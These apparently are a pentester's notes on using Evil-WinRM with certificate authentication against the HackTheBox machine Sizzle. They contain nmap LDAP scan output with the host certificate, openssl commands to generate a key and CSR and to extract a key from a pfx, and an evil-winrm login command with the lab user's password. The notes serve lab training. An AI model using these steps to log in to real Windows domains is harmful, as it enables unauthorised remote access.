Evil-WinRM
So lets say for whatever reason the application doesn't allow you to get a session in, it means that we could possibly generate a key to use to login via ssl
Notice that in the scan there is another port for ssl.
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Issuer: commonName=HTB-SIZZLE-CA/domainComponent=HTB
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-07-03T17:58:55
| Not valid after: 2020-07-02T17:58:55
| MD5: 240b 1eff 5a65 ad8d c64d 855e aeb5 9e6b
| SHA-1: 77bb 3f67 1b6b 3e09 b8f9 6503 ddc1 0bbf 0b75 0c72
| -----BEGIN CERTIFICATE-----
| MIIFPTCCBCWgAwIBAgITaQAAAAXvru32D6T3IQAAAAAABTANBgkqhkiG9w0BAQsF
| ADBEMRUwEwYKCZImiZPyLGQBGRYFTE9DQUwxEzARBgoJkiaJk/IsZAEZFgNIVEIx
| FjAUBgNVBAMTDUhUQi1TSVpaTEUtQ0EwHhcNMTgwNzAzMTc1ODU1WhcNMjAwNzAy
| MTc1ODU1WjAbMRkwFwYDVQQDExBzaXp6bGUuaHRiLmxvY2FsMIIBIjANBgkqhkiG
| 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAogsEbJGsO9cNsHH5GLS45qckSAP0UrNRszgZ
| R10DbNB3vV7hSciCIhlo/Mu7MhrtuB4IKtWp5O31vq5kPwO0xV2jfNtO6MH2c7iG
| PH9Ix0mTFLqDN9DYjdWUIjhMatiVHtdQmMs1+xCIROPXGVs3U3IxyfLXrkRniu6s
| lnvGaRn3XTEVr6JHUoLWCws0+C2MmZHFZs5V5NVLmP00QLtR7hDm9lrV1ehvCW5O
| xAVFp95z0+mgwpAatG2UYfsjiydYXBhi1zLa/yvXOkYROJC/A2OakNlUESAplsPl
| 00SaS02NpfaRwj/VnfEuRs1k0LkbTCvEXVsGhIGxjqFhGvsr6QIDAQABo4ICTzCC
| AkswPAYJKwYBBAGCNxUHBC8wLQYlKwYBBAGCNxUI5pJfgvm/E4epnz7ahB+Br/MJ
| gWCD/sNihcXjWQIBZAIBBDATBgNVHSUEDDAKBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDATAdBgNVHQ4EFgQUXPQP
| a29/mSK4aX3p1g/auVJ8R2cwHwYDVR0jBBgwFoAUQAbkVLM3mLwiLg4ZNgoYoLHe
| C4owgcgGA1UdHwSBwDCBvTCBuqCBt6CBtIaBsWxkYXA6Ly8vQ049SFRCLVNJWlpM
| RS1DQSxDTj1zaXp6bGUsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9SFRCLERDPUxPQ0FMP2Nl
| cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0
| cmlidXRpb25Qb2ludDCBvQYIKwYBBQUHAQEEgbAwga0wgaoGCCsGAQUFBzAChoGd
| bGRhcDovLy9DTj1IVEItU0laWkxFLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPUhUQixE
| Qz1MT0NBTD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNh
| dGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAQEAFaiP/3IAxom3OvWWMrsE
| jR2AV7qiLZw39AxTsYRVERC011TMTV5DBzScb1dA6ne4Su0EEzetNkqmWdOHqJbx
| tQuZYcD/CBfVAveKdLCEGh3gONk8sY+gnbJ7J3hucHIWtjamq+Kys2qXMRWSikkS
| jG4txpZTg5nXlWvV0U2E8RdKjmFuolfPvrIMEuyzdq/0Cw+xhJfiLD67obIP+EmF
| FbKnTQiGAipk0dIsHN6ckA6l3IXm1M5kqKfj4bXASLN49SvBVKOGcuKVam/0zLdR
| 8E+4FEEjhjQPdbLkSof1KnO23fiO+T2uZjLcKDMdO6griGwDwpBkORV0vatQbpi0
| QQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2022-08-11T15:48:01+00:00; 0s from scanner time.
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
|_ssl-date: 2022-08-11T15:48:00+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Issuer: commonName=HTB-SIZZLE-CA/domainComponent=HTB
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-07-03T17:58:55
| Not valid after: 2020-07-02T17:58:55
| MD5: 240b 1eff 5a65 ad8d c64d 855e aeb5 9e6b
| SHA-1: 77bb 3f67 1b6b 3e09 b8f9 6503 ddc1 0bbf 0b75 0c72
| -----BEGIN CERTIFICATE-----
| MIIFPTCCBCWgAwIBAgITaQAAAAXvru32D6T3IQAAAAAABTANBgkqhkiG9w0BAQsF
| ADBEMRUwEwYKCZImiZPyLGQBGRYFTE9DQUwxEzARBgoJkiaJk/IsZAEZFgNIVEIx
| FjAUBgNVBAMTDUhUQi1TSVpaTEUtQ0EwHhcNMTgwNzAzMTc1ODU1WhcNMjAwNzAy
| MTc1ODU1WjAbMRkwFwYDVQQDExBzaXp6bGUuaHRiLmxvY2FsMIIBIjANBgkqhkiG
| 9w0BAQEFAAOCAQ8AMIIBCgKCAQEAogsEbJGsO9cNsHH5GLS45qckSAP0UrNRszgZ
| R10DbNB3vV7hSciCIhlo/Mu7MhrtuB4IKtWp5O31vq5kPwO0xV2jfNtO6MH2c7iG
| PH9Ix0mTFLqDN9DYjdWUIjhMatiVHtdQmMs1+xCIROPXGVs3U3IxyfLXrkRniu6s
| lnvGaRn3XTEVr6JHUoLWCws0+C2MmZHFZs5V5NVLmP00QLtR7hDm9lrV1ehvCW5O
| xAVFp95z0+mgwpAatG2UYfsjiydYXBhi1zLa/yvXOkYROJC/A2OakNlUESAplsPl
| 00SaS02NpfaRwj/VnfEuRs1k0LkbTCvEXVsGhIGxjqFhGvsr6QIDAQABo4ICTzCC
| AkswPAYJKwYBBAGCNxUHBC8wLQYlKwYBBAGCNxUI5pJfgvm/E4epnz7ahB+Br/MJ
| gWCD/sNihcXjWQIBZAIBBDATBgNVHSUEDDAKBggrBgEFBQcDATAOBgNVHQ8BAf8E
| BAMCBaAwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDATAdBgNVHQ4EFgQUXPQP
| a29/mSK4aX3p1g/auVJ8R2cwHwYDVR0jBBgwFoAUQAbkVLM3mLwiLg4ZNgoYoLHe
| C4owgcgGA1UdHwSBwDCBvTCBuqCBt6CBtIaBsWxkYXA6Ly8vQ049SFRCLVNJWlpM
| RS1DQSxDTj1zaXp6bGUsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9SFRCLERDPUxPQ0FMP2Nl
| cnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0
| cmlidXRpb25Qb2ludDCBvQYIKwYBBQUHAQEEgbAwga0wgaoGCCsGAQUFBzAChoGd
| bGRhcDovLy9DTj1IVEItU0laWkxFLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPUhUQixE
| Qz1MT0NBTD9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNh
| dGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAQEAFaiP/3IAxom3OvWWMrsE
| jR2AV7qiLZw39AxTsYRVERC011TMTV5DBzScb1dA6ne4Su0EEzetNkqmWdOHqJbx
| tQuZYcD/CBfVAveKdLCEGh3gONk8sY+gnbJ7J3hucHIWtjamq+Kys2qXMRWSikkS
| jG4txpZTg5nXlWvV0U2E8RdKjmFuolfPvrIMEuyzdq/0Cw+xhJfiLD67obIP+EmF
| FbKnTQiGAipk0dIsHN6ckA6l3IXm1M5kqKfj4bXASLN49SvBVKOGcuKVam/0zLdR
| 8E+4FEEjhjQPdbLkSof1KnO23fiO+T2uZjLcKDMdO6griGwDwpBkORV0vatQbpi0
| QQ==We need to find some sort of certificate that we can download.
The following command will generate a private key that we can generate for our user.
openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr If we have a pfx file and a cert we can do this. (Timelapse)
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out prv.keyIn the case of Sizzle we were able to generate our own cert based on the webserver.
Then once we request the cert we will be able to log in via evil-winrm with the following command.
evil-winrm -i 10.10.10.103 -u 'amanda' -p 'Ashare1972' -k amanda.key -c certnew.cer -SNotice how the certificate we downloaded is specified with -c and the public key we generated with amanda.key.
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